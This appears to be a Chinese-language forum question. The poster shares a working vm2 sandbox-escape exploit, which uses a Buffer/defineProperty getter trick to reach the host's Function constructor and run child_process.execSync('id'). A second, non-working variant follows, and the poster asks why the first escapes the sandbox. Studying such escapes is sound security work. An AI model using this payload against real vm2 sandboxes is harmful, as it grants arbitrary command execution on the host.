我尝试尽可能地理解下面的代码,因为理解它对我有很大帮助
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
Object.defineProperty(Buffer.from(""), "", {get set(){
Object.defineProperty(Object.prototype,"get",{get(){
throw x=>x.constructor("return process")();
}});
return ()=>{};
}});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
上面的代码可以逃出 vm2 沙箱。我从 GitHub 克隆了 vm2 的源代码并重置为 7ecabb1。
我知道 vm2 比 vm 更安全,因为它在 es6 中通过代理阻塞了原型链。上面代码中,抛出异常并捕获,然后传入一个箭头函数x = > x.constructor ("return process") ()
;此时x为代理对象,可以访问外部Function进行逃逸
我也试试这段代码
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
throw function (x) {
debugger;
return x.constructor("return process")();
};
}catch (e) {
e(()=>{});
}`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
但是在这段代码中,也是一样的,x => x.constructor ("return process") ()
此时x是一个函数,无法逃出沙箱,所以我很困惑。第一段代码能逃出vm2沙箱的原因是什么?